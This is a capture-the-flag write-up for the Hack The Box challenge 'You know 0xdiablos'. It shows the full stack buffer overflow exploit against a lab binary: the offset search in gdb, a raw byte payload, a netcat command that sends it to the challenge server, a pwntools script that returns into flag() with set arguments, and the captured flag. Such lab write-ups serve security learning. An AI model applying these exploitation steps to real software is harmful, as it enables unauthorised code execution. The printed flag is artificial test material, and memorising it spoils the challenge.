HTB - You know 0xdiablos
Overview
Machine | You know 0xdiablos |
Rank | Easy |
Time | - |
Focus | Buffer overflow |
Challenge
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# unzip archive
7z x You\ know\ 0xDiablos.zip
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,16 CPUs 11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz (806D1),ASM,AES-NI)
Scanning the drive for archives:
1 file, 3058 bytes (3 KiB)
Extracting archive: You know 0xDiablos.zip
--
Path = You know 0xDiablos.zip
Type = zip
Physical Size = 3058
# pass: hackthebox
Enter password (will not be echoed):
Everything is Ok
Size: 15656
Compressed: 3058
1
2
3
# check file type
file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=ab7f19bb67c16ae453d4959fba4e6841d930a6dd, for GNU/Linux 3.2.0, not stripped
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# check human-readable strings
strings vuln
tdX
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
exit
fopen
puts
printf
fgets
stdout
setresgid
getegid
setvbuf
__libc_start_main
GLIBC_2.1
GLIBC_2.0
__gmon_start__
[^_]
flag.txt
Hurry up and try in on server side.
You know who are 0xDiablos:
;*2$"
GCC: (Debian 8.3.0-19) 8.3.0
...
- Launch ghidra > Code Browser > Import File
Search for
main
function:Double click on
vuln()
function:Defining
local_bc
variable with a max size of180
chars/bits.1 2 3 4 5
# test function ./vuln You know who are 0xDiablos: test test
We need to input something > than 180 chars:
1 2 3 4 5
# try to crash it python3 -c 'print("A"*185)' | ./vuln You know who are 0xDiablos: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault
Debug the binary with
gdb
:Install
gdb-peda
.1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
# debug the program gdb -q vuln Reading symbols from vuln... (No debugging symbols found in vuln) gdb-peda$ start Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated. Use 'set logging enabled off'. Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated. Use 'set logging enabled on'. [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [----------------------------------registers-----------------------------------] EAX: 0x80492b1 (<main>: lea ecx,[esp+0x4]) EBX: 0xf7f94ff4 --> 0x21dd8c ECX: 0xffffcdc0 --> 0x1 EDX: 0xffffcde0 --> 0xf7f94ff4 --> 0x21dd8c ESI: 0x8049330 (<__libc_csu_init>: push ebp) EDI: 0xf7ffcba0 --> 0x0 EBP: 0xffffcda8 --> 0x0 ESP: 0xffffcda0 --> 0xffffcdc0 --> 0x1 EIP: 0x80492c0 (<main+15>: sub esp,0x10) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x80492bc <main+11>: mov ebp,esp 0x80492be <main+13>: push ebx 0x80492bf <main+14>: push ecx => 0x80492c0 <main+15>: sub esp,0x10 0x80492c3 <main+18>: call 0x8049120 <__x86.get_pc_thunk.bx> 0x80492c8 <main+23>: add ebx,0x2d38 0x80492ce <main+29>: mov eax,DWORD PTR [ebx-0x4] 0x80492d4 <main+35>: mov eax,DWORD PTR [eax] [------------------------------------stack-------------------------------------] 0000| 0xffffcda0 --> 0xffffcdc0 --> 0x1 0004| 0xffffcda4 --> 0xf7f94ff4 --> 0x21dd8c 0008| 0xffffcda8 --> 0x0 0012| 0xffffcdac --> 0xf7d9a7c5 (add esp,0x10) 0016| 0xffffcdb0 --> 0x1 0020| 0xffffcdb4 --> 0x0 0024| 0xffffcdb8 --> 0x78 ('x') 0028| 0xffffcdbc --> 0xf7d9a7c5 (add esp,0x10) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Temporary breakpoint 1, 0x080492c0 in main ()
Create a pattern with 200 chars:
1 2 3 4 5 6 7
# create a pattern bigger than 180 chars gdb-peda$ pattern_create 200 bof.txt Writing pattern of 200 chars to filename "bof.txt" shell # check that the file was created ls 0xdiablos.gpr 0xdiablos.lock 0xdiablos.lock~ 0xdiablos.rep bof.txt peda-session-vuln.txt vuln You know 0xDiablos.zip You know 0xDiablos.zip:Zone.Identifier
- Run (
r
) the program withbof.txt
as input:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
gdb-peda$ r < bof.txt
Starting program: /home/kali/htb/you_know_0xdiablos/vuln < bof.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
You know who are 0xDiablos:
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xc9
EBX: 0x76414158 ('XAAv')
ECX: 0xf7f969b8 --> 0x0
EDX: 0x0
ESI: 0x8049330 (<__libc_csu_init>: push ebp)
EDI: 0xf7ffcba0 --> 0x0
EBP: 0x41594141 ('AAYA')
ESP: 0xffffcd90 ("ZAAxAAyA")
EIP: 0x41417741 ('AwAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41417741
[------------------------------------stack-------------------------------------]
0000| 0xffffcd90 ("ZAAxAAyA")
0004| 0xffffcd94 ("AAyA")
0008| 0xffffcd98 --> 0xf7d93900 --> 0x78656d ('mex')
0012| 0xffffcd9c --> 0x3e8
0016| 0xffffcda0 --> 0xffffcdc0 --> 0x1
0020| 0xffffcda4 --> 0xf7f94ff4 --> 0x21dd8c
0024| 0xffffcda8 --> 0x0
0028| 0xffffcdac --> 0xf7d9a7c5 (add esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41417741 in ?? ()
A standard buffer overflow is used to overwrite the Extended Instruction Pointer (EIP). It is usually possible to predict an appropriate EIP value that will land execution within the NOPs (No Operation) which will “execute” until the payload (usually shellcode) is encountered.
# we have successfully overflowed the IP
EIP: 0x41417741 ('AwAA')
- We need to find the offset, which will enable us to find the exact location after which we can inject our payload:
1
2
3
# find the offset using the address of the EIP
gdb-peda$ pattern_offset 0x41417741
1094809409 found at offset: 188
We need exactly 188 chars/bit to achieve overflow. We usually inject code to achieve RCE, but in this case we need to use the
flag()
function to reveal its value.
Find out the start of the
flag()
function:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
# find out where the flag function start by disassembling it gdb-peda$ disas flag Dump of assembler code for function flag: 0x080491e2 <+0>: push ebp 0x080491e3 <+1>: mov ebp,esp 0x080491e5 <+3>: push ebx 0x080491e6 <+4>: sub esp,0x54 0x080491e9 <+7>: call 0x8049120 <__x86.get_pc_thunk.bx> 0x080491ee <+12>: add ebx,0x2e12 0x080491f4 <+18>: sub esp,0x8 0x080491f7 <+21>: lea eax,[ebx-0x1ff8] 0x080491fd <+27>: push eax 0x080491fe <+28>: lea eax,[ebx-0x1ff6] 0x08049204 <+34>: push eax 0x08049205 <+35>: call 0x80490b0 <fopen@plt> 0x0804920a <+40>: add esp,0x10 0x0804920d <+43>: mov DWORD PTR [ebp-0xc],eax 0x08049210 <+46>: cmp DWORD PTR [ebp-0xc],0x0 0x08049214 <+50>: jne 0x8049232 <flag+80> 0x08049216 <+52>: sub esp,0xc 0x08049219 <+55>: lea eax,[ebx-0x1fec] 0x0804921f <+61>: push eax 0x08049220 <+62>: call 0x8049070 <puts@plt> 0x08049225 <+67>: add esp,0x10 0x08049228 <+70>: sub esp,0xc 0x0804922b <+73>: push 0x0 0x0804922d <+75>: call 0x8049080 <exit@plt> 0x08049232 <+80>: sub esp,0x4 0x08049235 <+83>: push DWORD PTR [ebp-0xc] 0x08049238 <+86>: push 0x40 0x0804923a <+88>: lea eax,[ebp-0x4c] 0x0804923d <+91>: push eax 0x0804923e <+92>: call 0x8049050 <fgets@plt> 0x08049243 <+97>: add esp,0x10 0x08049246 <+100>: cmp DWORD PTR [ebp+0x8],0xdeadbeef 0x0804924d <+107>: jne 0x8049269 <flag+135> 0x0804924f <+109>: cmp DWORD PTR [ebp+0xc],0xc0ded00d 0x08049256 <+116>: jne 0x804926c <flag+138> 0x08049258 <+118>: sub esp,0xc 0x0804925b <+121>: lea eax,[ebp-0x4c] 0x0804925e <+124>: push eax 0x0804925f <+125>: call 0x8049030 <printf@plt> 0x08049264 <+130>: add esp,0x10 0x08049267 <+133>: jmp 0x804926d <flag+139> 0x08049269 <+135>: nop 0x0804926a <+136>: jmp 0x804926d <flag+139> 0x0804926c <+138>: nop 0x0804926d <+139>: mov ebx,DWORD PTR [ebp-0x4] 0x08049270 <+142>: leave 0x08049271 <+143>: ret End of assembler dump.
The
flag
function start at0x080491e2
. This will need to be injected into the payload.
We will need to inject the
flag
function using its starting mem address (in reverse) as well as the mem address of the required two parameters:1 2 3 4 5
# creating the payload python3 -c "import sys; sys.stdout.buffer.write(b'A'*188+b'\xe2\x91\x04\x08'+b'test\xef\xbe\xad\xde\x0d\xd0\xde\xc0')" > payload.txt cat payload.txt AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���AAAAAAtestᆳ�
create_overflow
+mem_adddress_rev
+mem_address_param1\mem_addres_param2
1
2
3
4
5
# send payload to function
cat payload.txt | ./vuln
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���AAAAAAtestᆳ�
Hurry up and try in on server side.
Function was called successfully as this is the expected output.
- Grab the provided address
159.65.24.125:30760
and sent the payload there:
1
2
# send the payload on the server side
cat payload.txt | nc 159.65.24.125 30760
We need to wait some time for the flag to pop up. –> Never came back.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# alternative payload
from pwn import *
context.update(arch="i386", os="linux")
elf = ELF("./vuln")
# offset to reach right before return address's location
offset = b"A" * 188
# craft exploit: offset + flag() + padding + parameter 1 + parameter 2
exploit = offset + p32(elf.symbols['flag'], endian="little") + p32(0x90909090) + p32(0xdeadbeef, endian="little") + p32(0xc0ded00d, endian="little")
r = remote("159.65.24.125", 30760)
#r = elf.process()
r.sendlineafter(":", exploit)
r.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# execute payload script
python3 payload.py
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/kali/.cache/.pwntools-cache-3.11/update to 'never' (old way).
Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
[update]
interval=never
[*] You have the latest version of Pwntools (4.11.1)
[*] '/home/kali/htb/you_know_0xdiablos/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
[+] Opening connection to 159.65.24.125 on port 30760: Done
/home/kali/.local/lib/python3.11/site-packages/pwnlib/tubes/tube.py:841: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xd0\xde\xc02\x9\x90\x90\x90\HTB{0ur_Buff3r_1s_not_healthy}[*] Got EOF while reading in interactive